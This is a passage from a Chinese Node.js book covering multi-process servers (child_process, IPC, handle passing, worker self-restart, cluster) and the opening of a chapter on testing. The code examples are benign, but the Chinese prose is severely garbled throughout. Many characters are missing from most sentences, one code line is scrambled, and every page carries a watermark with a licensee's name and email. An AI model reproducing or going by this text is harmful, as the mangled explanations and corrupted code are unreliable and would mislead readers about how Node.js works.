在熟的Web有Connect、Express,本中的内在这些中都有实, 因为的因,本中的实为,实使用请使用这些熟的。 8.7 本的源下 http://tools.ietf.org/html/rfc3875 http://tools.ietf.org/html/rfc2069 http://www.ietf.org/rfc/rfc1867.txt http://en.wikipedia.org/wiki/Cross-site_request_forgery https://github.com/senchalabs/connect/blob/master/lib/middleware/csrf.js http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller http://www.ibm.com/developerworks/webservices/library/ws-restful/ http://en.wikipedia.org/wiki/Middleware http://mustache.github.io/ https://github.com/joyent/node/wiki/modules#wiki-templating https://developer.mozilla.org/zh-CN/docs/JavaScript/Reference/Global_Objects/Function 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2369 Node在时决定在V8之上,也就着它的与。我们的JavaScript 会在个程的个线程上。它的好是程序是一的,在没有多线程的情 下没有、线程问题,作系统在时也因为上下的,可以很好高CPU的 使用。 是程线程并的,今CPU本是多的,的服务(VPS) 还有多个CPU。一个Node程只能用一个,这Node实应用的一个问题 CPU 外,由于Node在线程上,一线程上的没有,会起个程 的。这Node的实应用了个问题的定 在这个问题中,前者只是用不的问题,后者对于实产品一定的。本 关于程的会解决这个问题。 从的上言,Node并的线程,在3中我们有过Node自还有 一定的I/O线程在,这些I/O线程由libuv,这部分线程对于JavaScript开发者言是 的,只在C++开发时才会关到。JavaScript在V8上,是线程的。本 JavaScript部分开,以的。 9.1 从到今,Web服务的已经了几次。服务客端请的并发量,就 是个程的。 9.1.1 最的服务,是的,它的服务是一次只为一个请服务,有请都 次序服务。这了前的请外,余请都于的。它的能 相下,次应服务用的时定为N,这服务的QPS为1/N。 这今已本淘,只在一些并发要的应用中在。 第章 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.1 的 237 1 2 3 4 5 11 6 7 8 9 10 9.1.2 为了解决的并发问题,一个的是过程的复时服务多的请用 。这样个接都要一个程服务,100个接要动100个程服务,这是 的。在程复的过程中,要复程内部的,对于个接都这样的复 的,相的会在内中在很多,。并且这个过程由于要复多的数, 动是为的。 为了解决动的问题,复(prefork)入服务中,复一定数量的 程。时程复用,程创、的开。是这个并不性,一并 发请过高,内使用着程数的会。 过复复的的服务有源的,且程数上为M,这 服务的QPS为M/N。 9.1.3 为了解决程复中的问题,多线程入服务,一个线程服务一个请。线程相 对程的开要小多,并且线程之可以享数,内的问题可以到解决,并且用线 程可以创线程的开。是多线程的并发问题只能多程好,因为 个线程都有自己立的,这个都要用一定的内。外,由于一个CPU心在 一个时只能做一事情,作系统只能过CPU分为时的,线程可以为 使用CPU源,是作系统内在线程的时也要线程的上下,线程数量过多时, 时会用在上下中。以在大并发量时,多线程还是做到强大的性。 多线程上下的开,线程用的源为程的1/L,源上的 ,它的QPS为M * L/N。 9.1.4 多线程的服务服了很一时,Apache就是用多线程/多程实的,并 发到上时,内用的问题会,这是的C10k问题。 为了解决高并发问题,于事驱动的服务了,像Node与Nginx是于事驱动 的实的,用线程了不要的内开上下开。 于事的服务在的问题是本起始时的个问题CPU的用程的 性。线程的并不,中以PHP最为——在PHP中没有线程的。它的 性是由它个请都立立的上下实的。是对于Node,有请的上下都是 统一的,它的定性是解决的问题。 由于有都在线程上,事驱动服务性能的在于CPU的能,它 的上决定这服务的性能上,它不多程多线程中源上的,可 性前者高。解决多CPU的用问题,的性能上是可的。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2389 9.2 对程线程对多使用不的问题,前人的经是动多程可。想下个 程自用一个CPU,以实多CPU的用。,Node了child_process,并 且也了child_process.fork()数我们实程的复。 我们一次经的为worker.js,下 var http = require('http'); http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n'); }).listen(Math.round((1 + Math.random()) * 1000), '127.0.0.1'); 过node worker.js动它,会1000到2000之的一个机端。 以下为master.js,并过node master.js动它 var fork = require('child_process').fork; var cpus = require('os').cpus(); for (var i = 0; i < cpus.length; i++) { fork('./worker.js'); } 这会前机上的CPU数量复对应Node程数。在*nix系统下可以过ps aux | grep worker.js到程的数量,下 $ ps aux | grep worker.js jacksontian 1475 0.0 0.0 2432768 600 s003 S+ 3:27AM 0:00.00 grep worker.js jacksontian 1440 0.0 0.2 3022452 12680 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./worker.js jacksontian 1439 0.0 0.2 3023476 12716 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./worker.js jacksontian 1438 0.0 0.2 3022452 12704 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./worker.js jacksontian 1437 0.0 0.2 3031668 12696 s003 S 3:25AM 0:00.15 /usr/local/bin/node ./worker.js 图9-1就是的Master-Worker,从。图9-1中的程分为程工 作程。这是的分中用于并务的,好的可性定性。 程不的务,是管工作程,它是于定的。工作程 的务,因为务的多多样,甚至一务由多人开发,以工作程的定性 开发者关。 图9-1 Master-Worker 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.2 239 1 2 3 4 5 11 6 7 8 9 10 过fork()复的程都是一个立的程,这个程中有着立新的V8实。它要 至30的动时至10 MB的内。管Node了fork()我们复程使个CPU 内都使用上,是要fork()程是的。好在Node过事驱动的在线程上 解决了大并发的问题,这动多个程只是为了分CPU源用起,不是为了解决并 发问题。 9.2.1 child_processNode可以创程(child_process)的能。它了4个 用于创程。 spawn()动一个程。 exec()动一个程,与spawn()不的是接不,它有一个 数程的。 execFile()动一个程可。 fork()与spawn(),不在于它创Node的程只定要的JavaScript 可。 spawn()与exec()、execFile()不的是,后者创时可以定timeout性时时, 一创的程过定的时会。 exec()与execFile()不的是,exec()已有的,execFile()。这 我们以一个为,node worker.js分用上4实,下 var cp = require('child_process'); cp.spawn('node', ['worker.js']); cp.exec('node worker.js', function (err, stdout, stderr) { // some code }); cp.execFile('worker.js', function (err, stdout, stderr) { // some code }); cp.fork('./worker.js'); 以上4个在创程之后会程对。它们的可以过9-1。 9-1 4 / spawn() × × exec() √ √ execFile() √ 可 √ fork() × Node JavaScript × 这的可是可以接的,是JavaScript过execFile(),它 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2409 的内加下 #!/usr/bin/env node 管4创程的有些,事实上后3都是spawn()的应用。 9.2.2 在Master-Worker中,要实程管工作程的能,要程工作 程之的信。对于child_process,创好了程,后与程信是分 的。 在前端中,JavaScript线程与UI用一个线程。JavaScript的时候UI 是的,UI时,JavaScript是的,者相。时JavaScript会UI 不应。为了解决这个问题,HTML5了WebWorker API。WebWorker创工作线程并 在后,使一些为的不线程上的UI。它的API下 var worker = new Worker('worker.js'); worker.onmessage = function (event) { document.getElementById('result').textContent = event.data; }; 中,worker.js下 var n = 1; search: while (true) { n += 1; for (var i = 2; i <= Math.sqrt(n); i += 1) if (n i == 0)% continue search; // found a prime postMessage(n); } 线程与工作线程之过onmessage()postMessage()信,程对由send() 实程程发数,message事实收程发的数,与API在一定 程上相。过内,不是享接作相关源,这是为量 的做。 Node中对应下 // parent.js var cp = require('child_process'); var n = cp.fork(__dirname + '/sub.js'); n.on('message', function (m) { console.log('PARENT got message:', m); }); n.send({hello: 'world'}); // sub.js 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.2 241 1 2 3 4 5 11 6 7 8 9 10 process.on('message', function (m) { console.log('CHILD got message:', m); }); process.send({foo: 'bar'}); 过fork()者他API,创程之后,为了实程之的信,程与 程之会创IPC。过IPC,程之才能过messagesend()。 IPC的是Inter-Process Communication,程信。程信的目的是为了不 的程能相问源并工作。实程信的技术有很多,管、管 、socket、信量、享内、、Domain Socket。Node中实IPC的是管(pipe) 技术。管管,在Node中管是个的,实由libuv,在 Windows下由管(named pipe)实,*nix系统用Unix Domain Socket实。在应 用上的程信只有的message事send(),接分。图9-2为IPC 创实的图。 图9-2 IPC创实图 程在实创程之前,会创IPC并它,后才创程,并 过环境量(NODE_CHANNEL_FD)程这个IPC的。程在动的过程中, 接这个已在的IPC,从程之的接。图9-3为创IPC 管的图。 图9-3 创IPC管的图 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2429 立接之后的程就可以自由信了。由于IPC是用管Domain Socket 创的,它们与网socket的为,于信。不的是它们在系统内中就 了程的信,不用经过实的网,高。在Node中,IPC为Stream对 ,在用send()时发数(于write()),接收到的会过message事(于data) 触发应用。 有的Node据IPC 的无定创的IPC。 9.2.3 立好程之的IPC后,仅仅只用发一些的数,不我们的实应用 使用。还本一部分要动的服务分自的端,服务都 到相的端,会有样的下 var http = require('http'); http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n'); }).listen(8888, '127.0.0.1'); 次动master.js,下 events.js:72 throw er; // Unhandled 'error' event ^ Error: listen EADDRINUSE at errnoException (net.js:884:11) 这时只有一个工作程能到端上,余的程在的过程中都了 EADDRINUSE,这是端用的情,新的程不能继续端了。这个问题了我 们多个程一个端的想。要解决这个问题,的做是个程不的端 ,中程端(80),程对外接收有的网请,这些请分 到不的端的程上。图图9-4。 图9-4 程接收、分网请的图 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.2 243 1 2 3 4 5 11 6 7 8 9 10 过,可以端不能复的问题,甚至可以在程上做的, 使个程可以为务。由于程接收到一个接,会用一个 ,因中客端接到程,程接到工作程的过程要用个 。作系统的是有的,一数量的的做了 系统的能。 为了解决上这样的问题,Node在本v0.5.9入了程发的能。send() 了能过IPC发数外,还能发,个可数就是,下 child.send(message, [sendHandle]) 是是一可以用识源的用,它的内部包了对的 。可以用识一个服务端socket对、一个客端socket对、一个UDP接、 一个管。 发着在前一个问题中,我们可以这,使程接收到socket 请后,这个socket接发工作程,不是新与工作程之立新的socket接 发数。的问题可以过这样的解决。我们的。 程下 var child = require('child_process').fork('child.js'); // Open up the server object and send the handle var server = require('net').createServer(); server.on('connection', function (socket) { socket.end('handled by parent\n'); }); server.listen(1337, function () { child.send('server', server); }); 程下 process.on('message', function (m, server) { if (m === 'server') { server.on('connection', function (socket) { socket.end('handled by child\n'); }); } }); 这个中接一个TCP服务发了程。这是起不可的事情,我们 测试一,,下 // 先启动服务器 $ node parent.js 后新开一个,用上curl工,下 $ curl "http://127.0.0.1:1337/" handled by parent $ curl "http://127.0.0.1:1337/" 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2449 handled by child $ curl "http://127.0.0.1:1337/" handled by child $ curl "http://127.0.0.1:1337/" handled by parent 中的应也是很不可的,这程程都有可能我们客端发起 的请。 试试服务发多个程,下 // parent.js var cp = require('child_process'); var child1 = cp.fork('child.js'); var child2 = cp.fork('child.js'); // Open up the server object and send the handle var server = require('net').createServer(); server.on('connection', function (socket) { socket.end('handled by parent\n'); }); server.listen(1337, function () { child1.send('server', server); child2.send('server', server); }); 后在程中程ID,下 // child.js process.on('message', function (m, server) { if (m === 'server') { server.on('connection', function (socket) { socket.end('handled by child, pid is ' + process.pid + '\n'); }); } }); 用curl测试我们的服务,下 $ curl "http://127.0.0.1:1337/" handled by child, pid is 24673 $ curl "http://127.0.0.1:1337/" handled by parent $ curl "http://127.0.0.1:1337/" handled by child, pid is 24672 测试的是次的都可能不,可能程,也可能不的程 。并且这是在TCP上的事情,我们试到HTTP试试。对于程 言,我们甚至想要它量一,是否服务发程之后,就可以关服务 的,程请 我们对程动,下 // parent.js var cp = require('child_process'); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.2 245 1 2 3 4 5 11 6 7 8 9 10 var child1 = cp.fork('child.js'); var child2 = cp.fork('child.js'); // Open up the server object and send the handle var server = require('net').createServer(); server.listen(1337, function () { child1.send('server', server); child2.send('server', server); // 关 server.close(); }); 后对程动,下 // child.js var http = require('http'); var server = http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('handled by child, pid is ' + process.pid + '\n'); }); process.on('message', function (m, tcp) { if (m === 'server') { tcp.on('connection', function (socket) { server.emit('connection', socket); }); } }); 新动parent.js后,次测试,下 $ curl "http://127.0.0.1:1337/" handled by child, pid is 24852 $ curl "http://127.0.0.1:1337/" handled by child, pid is 24851 这样一,有的请都是由程了。个过程中,服务的过程发生了一次, 图9-5。 图9-5 程请发工作程 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2469 程发并关之后,为了图9-6的。 图9-6 程发并关后的 我们发,多个程可以时相端,没有EADDRINUSE发生了。 1. 上的是发,是,发我们接服务对发 程有没有它是否的服务对发了程为它可以发到多个程 中发程为程中还在这个对本开这些的在。 目前程对send()可以发的包括下几。 net.Socket。TCP接。 net.Server。TCP服务,立在TCP服务上的应用服务都可以享到它的 好。 net.Native。C++的TCP接IPC管。 dgram.Socket。UDP接。 dgram.Native。C++的UDP接。 send()在发到IPC管前,组个对,一个数是handle,一个 是message。message数下 { cmd: 'NODE_HANDLE', type: 'net.Server', msg: message } 发到IPC管中的实上是我们要发的,实上是一个数 。这个message对在写入到IPC管时也会过JSON.stringify()序。以最发 到IPC中的信都是,send()能发并不着它能发对。 接了IPC的程可以读到程发的,过JSON.parse()解还 为对后,才触发message事应用使用。在这个过程中,对还要 过,message.cmd的以NODE_为前,它应一个内部事internalMessage。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.2 247 1 2 3 4 5 11 6 7 8 9 10 message.cmd为NODE_HANDLE,它message.type到的一起还一个 对应的对。这个过程的图图9-7。 图9-7 的发与还图 以发的TCP服务为,程收到后的还过程下 function(message, handle, emit) { var self = this; var server = new net.Server(); server.listen(handle, function() { emit(server); }); } 上的中,程message.type创对应TCP服务对,后到 上。由于不应用,以在程中,开发者会有一服务就是从程中 接过的。的是,Node程之只有,不会对,这 是的。 目前Node只上到的几,并的都能在程之,它有 的发还的过程。 2. 在了解了后的后,我们继续探为过发后,多个程可以到 相的端不起EADDRINUSE。也很,我们立动的程中,TCP服务端 socket接的并不相,到相的端时会。 Node对个端都了SO_REUSEADDR,这个的是不程可以就相 的网端,这个服务端接可以不的程复用,下 setsockopt(tcp->io_watcher.fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) 由于立动的程相之并不,以相端时就会。对于 send()发的还的服务言,它们的是相的,以相端不会 起。 多个应用相端时,一时只能个程用。言之就是网请 服务端发时,只有一个的程能到接,也就是只有它能为这个请服务。 这些程服务是的。 9.2.4 至,我们了创程、程信的IPC实、在程的发还、 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2489 端用。过这些技术,用child_process在机上Node是相对 的事情。因在多CPU的环境下,Node程能分用源不是题。 9.3 好了,分用了多CPU源,就可以接客端大量的请了。请, 我们还有一些要。 性能问题。 多个工作程的活管。 工作程的。 者数的动新入。 他。 是的,我们创了很多工作程,个工作程是在线程上的,它的定 性还不能到的。我们要立起一个的机Node应用的性。 9.3.1 次到程对上,了人关的send()message事外,程还有些 了message事外,Node还有下这些事。 error程复创、、发时会触发事。 exit程时触发事,程是,这个事的一个数为 ,否为null。程是过kill()的,会到个数,它 程时的信。 close在程的入中时触发事,数与exit相。 disconnect在程程中用disconnect()时触发事,在用时 关IPC。 上这些事是程能到的与程相关的事。了send()外,还能过kill() 程发。kill()并不能过IPC相的程,它只是程 发了一个系统信。认情下,程过kill()程发一个SIGTERM信。 它与程认的kill(),下 // 子进程 child.kill([signal]); // 当前进程 process.kill(pid, [signal]); 它们一个发程,一个发目程。在POSIX中,有一的信系统,在 中kill -l可以到的信,下 $ kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.3 定 249 1 2 3 4 5 11 6 7 8 9 10 5) SIGTRAP 6) SIGABRT 7) SIGEMT 8) SIGFPE 9) SIGKILL 10) SIGBUS 11) SIGSEGV 12) SIGSYS 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGURG 17) SIGSTOP 18) SIGTSTP 19) SIGCONT 20) SIGCHLD 21) SIGTTIN 22) SIGTTOU 23) SIGIO 24) SIGXCPU 25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGINFO 30) SIGUSR1 31) SIGUSR2 Node了这些信对应的信事,个程都可以这些信事。这些信事是 用程的,个信事有不的,程在收到应信时,应做定的为, SIGTERM是信,程收到信时应。下 process.on('SIGTERM', function() { console.log('Got a SIGTERM, exiting...'); process.exit(1); }); console.log('server running with PID:', process.pid); process.kill(process.pid, 'SIGTERM'); 9.3.2 有了程之的相关事之后,就可以在这些关系之创要的机了。至我们 能过程的exit事的信,接着前的多程,我们在程上 要加入一些程管的机,新动一个工作程继续服务。图图9-8。 图9-8 程加入程管机的图 实下 // master.js var fork = require('child_process').fork; var cpus = require('os').cpus(); var server = require('net').createServer(); server.listen(1337); var workers = {}; var createWorker = function () { var worker = fork(__dirname + '/worker.js'); // 出时重启动的进程 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2509 worker.on('exit', function () { console.log('Worker ' + worker.pid + ' exited.'); delete workers[worker.pid]; createWorker(); }); // 句柄转发 worker.send('server', server); workers[worker.pid] = worker; console.log('Create worker. pid: ' + worker.pid); }; for (var i = 0; i < cpus.length; i++) { createWorker(); } // 进程自出时有工作进程出 process.on('exit', function () { for (var pid in workers) { workers[pid].kill(); } }); 测试一下上的,下 $ node master.js Create worker. pid: 30504 Create worker. pid: 30505 Create worker. pid: 30506 Create worker. pid: 30507 过kill个程试试,下 $ kill 30506 是30506程后,自动动了一个新的工作程30518,程数量并没有发生 ,下 Worker 30506 exited. Create worker. pid: 30518 在这个场景中我们动了一个程,在实务中,可能有的bug工作程 ,我们要这,下 // worker.js var http = require('http'); var server = http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('handled by child, pid is ' + process.pid + '\n'); }); var worker; process.on('message', function (m, tcp) { if (m === 'server') { worker = tcp; worker.on('connection', function (socket) { 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.3 定 251 1 2 3 4 5 11 6 7 8 9 10 server.emit('connection', socket); }); } }); process.on('uncaughtException', function () { // 接收的接 worker.close(function () { // 有有接开出进程 process.exit(1); }); }); 上的程是,一有的,工作程就会立接收新的接 有接开后,程。程在到工作程的exit后,会立动新的程服务, 以个中是有程在为用服务的。 1. 上在的问题是要到已有的有接开后程才,在极端的情下, 有工作程都接收新的接,在的。在到程才的过程 中,有新的请可能在没有工作程为新用服务的情景,这会大部分请。 为要这个过程,不能到工作程后才新的工作程。也不能 程,因为这样会已接的用接开。于是我们在的程中加一个自 (suicide)信。工作程在要时,程发一个自信,后才接收新的 接,有接开后才。程在接收到自信后,立创新的工作程服务。 动下 // worker.js process.on('uncaughtException', function (err) { process.send({act: 'suicide'}); // 接收的接 worker.close(function () { // 有有接开出进程 process.exit(1); }); }); 程工作程的务,从exit事的数中到message事的数中, 下 var createWorker = function () { var worker = fork(__dirname + '/worker.js'); // 启动的进程 worker.on('message', function (message) { if (message.act === 'suicide') { createWorker(); } }); worker.on('exit', function () { console.log('Worker ' + worker.pid + ' exited.'); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2529 delete workers[worker.pid]; }); worker.send('server', server); workers[worker.pid] = worker; console.log('Create worker. pid: ' + worker.pid); }; 为了的,我们工作程的为,一有用请,就会 有一个可的工作程,下 var server = http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('handled by child, pid is ' + process.pid + '\n'); throw new Error('throw exception'); }); 后动有程,下 $ node master.js Create worker. pid: 48595 Create worker. pid: 48596 Create worker. pid: 48597 Create worker. pid: 48598 用curl工测试,下 $ curl http://127.0.0.1:1337/ handled by child, pid is 48598 信,下 Create worker. pid: 48602 Worker 48598 exited. 与前一相,创新工作程在前,程在后。在这个可的程 之前,是有新的工作程上它的。至我们了程的,一有, 程会创新的工作程为用服务,的程一已有接就自动开。个过程 使我们的应用的定性性大大高。图图9-9。 图9-9 程的自 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.3 定 253 1 2 3 4 5 11 6 7 8 9 10 这在问题的是有可能我们的接是接,不是HTTP服务的这接,接 开可能要的时。为为已有接的开一个时时是要的,在定时强 的下 process.on('uncaughtException', function (err) { process.send({act: 'suicide'}); // 接收的接 worker.close(function () { // 有有接开出进程 process.exit(1); }); // 5出进程 setTimeout(function () { process.exit(1); }, 5000); }); 程中能的,就着有一在性上是不的。为 程前,过下问题在是要做的事情,它可以我们很好定 的,下 process.on('uncaughtException', function (err) { // 录日志 logger.error(err); // 发自信 process.send({act: 'suicide'}); // 接收的接 worker.close(function () { // 有有接开出进程 process.exit(1); }); // 5出进程 setTimeout(function () { process.exit(1); }, 5000); }); 2. 过自信程可以使新接是有程服务,是还是有极端的情。工 作程不能,动的过程中就发生了,者动后接到接就收到, 会工作程,这不于我们的情,因为这时内 已经不的,极有可能是程序编写的。 为了这的,在一定的下,不应反复。在时 内定只能多次,过就触发giveup事,工作程这个要事。 为了量的统,我们入一个做,在次工作程之 并是否过,下 // 重启数 var limit = 10; 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2549 // 时间单位 var during = 60000; var restart = []; var isTooFrequently = function () { // 录重启时间 var time = Date.now(); var length = restart.push(time); if (length > limit) { // 出10录 restart = restart.slice(limit * -1); } // 重启前10重启间的时间间 return restart.length >= limit && restart[restart.length - 1] - restart[0] < during; }; var workers = {}; var createWorker = function () { // 检查是否过 if (isTooFrequently()) { // 发giveup事件不重启 process.emit('giveup', length, during); return; } var worker = fork(__dirname + '/worker.js'); worker.on('exit', function () { console.log('Worker ' + worker.pid + ' exited.'); delete workers[worker.pid]; }); // 重启动的进程 worker.on('message', function (message) { if (message.act === 'suicide') { createWorker(); } }); // 句柄转发 worker.send('server', server); workers[worker.pid] = worker; console.log('Create worker. pid: ' + worker.pid); }; giveup事是uncaughtException的事。uncaughtException只中个 工作程,在性下,不会用不到服务的情,是这个giveup事 中没有程服务了,分。为了性,我们应在giveup事中加要, 并系统到这个,。 9.3.3 在多程之相的端,使用请能分到多个程上,这的好 是可以CPU源都用起。这客人的分发多个作。 多个有,个的工作量是一门学问,不能一些 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.3 定 255 1 2 3 4 5 11 6 7 8 9 10 不过,也不能一些着,这多个工作量的。 Node认的机是用作系统的。的就是在一工作程中, 着的程对到的请,到服务。 一言,这对大是的,个程可以自己的。 是对于Node言,要分的是它的是由CPU、I/O个部分的,的是CPU 的。对不的务,可能在I/O,CPU为的情,这可能个程能 到多请,不的情。 为Node 在 v0.11 中了一新的使,这新的 Round-Robin,。的工作是由程接接,次分发工作 程。分发的是在N个工作程中,次i = (i + 1) mod n个程发接。在cluster 中用它的下 // 启用Round-Robin cluster.schedulingPolicy = cluster.SCHED_RR // 不启用Round-Robin cluster.schedulingPolicy = cluster.SCHED_NONE 者在环境量中NODE_CLUSTER_SCHED_POLICY的,下 export NODE_CLUSTER_SCHED_POLICY=rr export NODE_CLUSTER_SCHED_POLICY=none Round-Robin,可以CPUI/O的不。Round-Robin也 可以过服务实,是它会服务上的是的。 9.3.4 在5中,我们到在Node程中不多数,因为它会加收的, 性能。时,Node也不在多个程之享数。在实的务中,要享 一些数,数,这在多个程中应是一的。为,在不享数的情下, 我们要一机实数在多个程之的享。 1. 解决数享最接、的就是过数,数到数 、、服务(Redis)中,有工作程动时读内中。这 在的问题是数发生,还要一机到个程,使它们的内部也 到新。 实的机有,一是个程定时,图图9-10 。 定时的问题是时不能过,程过多,会并发,数没 有发生,这些会没有,加的开。时过,数发生 时,不能时新到程中,会有一定的。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2569 图9-10 定时图 2. 一的是数发生新时,动程。,使是动,也要一 机时数的。这个过程不能,我们可以的程数量, 我们这用发是否的程做程。为了不务,可以 这个程为只,不务,图图9-11。 图9-11 动图 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.4 Cluster 257 1 2 3 4 5 11 6 7 8 9 10 这推机程信,在多服务时会,是可以用TCP UDP的。程在动时从服务了读一次数外,还程信到服务 。一过发有数新后,信,新后的数发工作程。由于不 多程一,应的不至于过大,一的服务 的并不大,以可以时,一发新,就能实时推到 个程中。 9.4 Cluster 前了child_process中的大多数,以过这个强大的机 。熟Node,也你会为不cluster。上的问题,Node在v0.8 本时新的cluster就能解决。在v0.8本之前,实多程过child_process 实,要创机Node,由于有这多要,对工程言是一相对的 工作,于是v0.8时接入了cluster,用以解决多CPU的用问题,时也了 的API,用以程的性问题。 对于本开到的创Node程,cluster实起也是很的事情,下 // cluster.js var cluster = require('cluster'); cluster.setupMaster({ exec: "worker.js" }); var cpus = require('os').cpus(); for (var i = 0; i < cpus.length; i++) { cluster.fork(); } node cluster.js会到与前创程的相。就的言,它喜 欢下的作为 var cluster = require('cluster'); var http = require('http'); var numCPUs = require('os').cpus().length; if (cluster.isMaster) { // Fork workers for (var i = 0; i < numCPUs; i++) { cluster.fork(); } cluster.on('exit', function(worker, code, signal) { console.log('worker ' + worker.process.pid + ' died'); }); } else { // Workers can share any TCP connection 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2589 // In this case its a HTTP server http.createServer(function(req, res) { res.writeHead(200); res.end("hello world\n"); }).listen(8000); } 在程中是程还是工作程,要决于环境量中是否有NODE_UNIQUE_ID,下 cluster.isWorker = ('NODE_UNIQUE_ID' in process.env); cluster.isMaster = (cluster.isWorker === false); 是中cluster.isMaster、cluster.isWorker,对于的可读 性分。我用cluster.setupMaster()这个API,程工作程从上, send()起接服务从程发到程样,之后,甚至都 不到程中有服务相关的。 过cluster.setupMaster()创程不是使用cluster.fork(),程序不, 分,的可读性可性好。 9.4.1 Cluster 事实上cluster就是child_processnet的组应用。cluster动时,我们在 9.2.3的一样,它会在内部动TCP服务,在cluster.fork()程时,这个TCP服 务端socket的发工作程。程是过cluster.fork()复的, 它的环境量就在NODE_UNIQUE_ID,工作程中在listen()网端的用,它 到,过SO_REUSEADDR端用,从实多个程享端。对于 动的程,不在享事情。 在cluster内部创TCP服务的对使用者分,也是这使它 接使用child_process样灵活。在cluster应用中,一个程只能管一组工作 程,图9-12。 图9-12 在cluster应用中,一个程只能管一组工作程 对于自过child_process作时,可以灵活工作程,甚至多组工作 程。因在于自过child_process作程时,可以创多个TCP服务,使 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 9.5 总 259 1 2 3 4 5 11 6 7 8 9 10 程可以享多个的服务端socket,图9-13。 图9-13 自过child_process多组工作程 9.4.2 Cluster 对于性,cluster也了相多的事。 fork复一个工作程后触发事。 online复好一个工作程后,工作程动发一online程,程收 到后,触发事。 listening工作程中用listen()(享了服务端Socket)后,发一listening 程,程收到后,触发事。 disconnect程工作程之IPC开后会触发事。 exit有工作程时触发事。 setupcluster.setupMaster()后触发事。 这些事大多child_process的事相关,在程的上的。 这些事对于强应用的性已经了。 9.5 管Node从线程的它有的不能分用多CPU源,定性也 到。是的量是强大的,过的从,就可以应用的质量一个 次。在实的复杂务中,我们可能要动很多程务,甚至从 复杂,是个程应是到只做好一事,后过程信技术它们接起 可。这Unix的,个程只做一事,并做好一事,复杂分解为, 组强大。 管过child_process可以大Node的定性,是一程问题, 有程会管。在Node的程管之外,还要用程数量的 个系统的定性,使程,也能时到,使开发者可以时 。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2609 9.6 本的源下 http://nodejs.org/docs/latest/api/child_process.html http://nodejs.org/docs/latest/api/cluster.html https://github.com/aleafs/pm Process http://en.wikipedia.org/wiki/Inter-process_communication http://en.wikipedia.org/wiki/Pipeline_(Unix) http://www.w3.org/TR/workers/ http://man7.org/linux/man-pages/man7/unix.7.html 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 261 1 2 3 4 5 11 6 7 8 9 10 在使用Node实的目开发之前,我内心也分。管JavaScript, 相熟的后端语言言,Node且是新学。甚至对于前端,因为样的因, JavaScript的测试都分。Node编写的在线产品,在上用前能否好的质量 ,我是心问的。 从最写的自己不着,定bug到于一程序的个,到 后很实对自己产的,对自己的了解心了。从对问题时 的动到动,测试在这个过程中起到了至关要的作用。 测试的在于,在用产的之前,开发者它,要的质量。 这的是,JavaScript开发者要,自己的,对自己产的。 为自己的写测试用是一之有的,它能开发者到的为性 能。 测试包测试、性能测试、测试能测试几个,本从Node实践的 测试性能测试。 10.1 测试在目中着的,是几质量的中入产最 高的一。管在过的JavaScript开发中,绝大多数人都了这个环,今天Node的 我们不不新这。 10.1.1 最初接触测试时,很多开发者都很,自己写的,自己写测试,这事的 在有的了门的测试工程开发者测试。这一对自己写的不在 的为是开发者对自己测试自己心,认为测试是一,小是是, 为要实践。强实践,就写写,过关,这使开发者不测试, 不自己的。门的测试工程开发者对测试人产生,不关心自 己的测试。 第1章 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 26210 这要的是,的。目开发的会目的 产品,开发者写的是开发者自己的产品。要产品的质量,就应有相应的 。对于开发者言,测试就是最本的一。开发者不自己测试,要 对下问题。 (1) 测试工程是否可 这的问题有个。一个是测试工程是否熟悉Node,不了解一个 只凭过经对这个目测试,有可能为的为,这对质量的目 。一个是,在人事动因,可能并不一定到开发者的,从使测 试用的本高。 (2) 是否可信 对于Node开源社区言(有3多),作为一个不的开发者,产的 测试都没有,使用者在时,内心也会过多个的问。 (3) 在产品过程中,继续质量 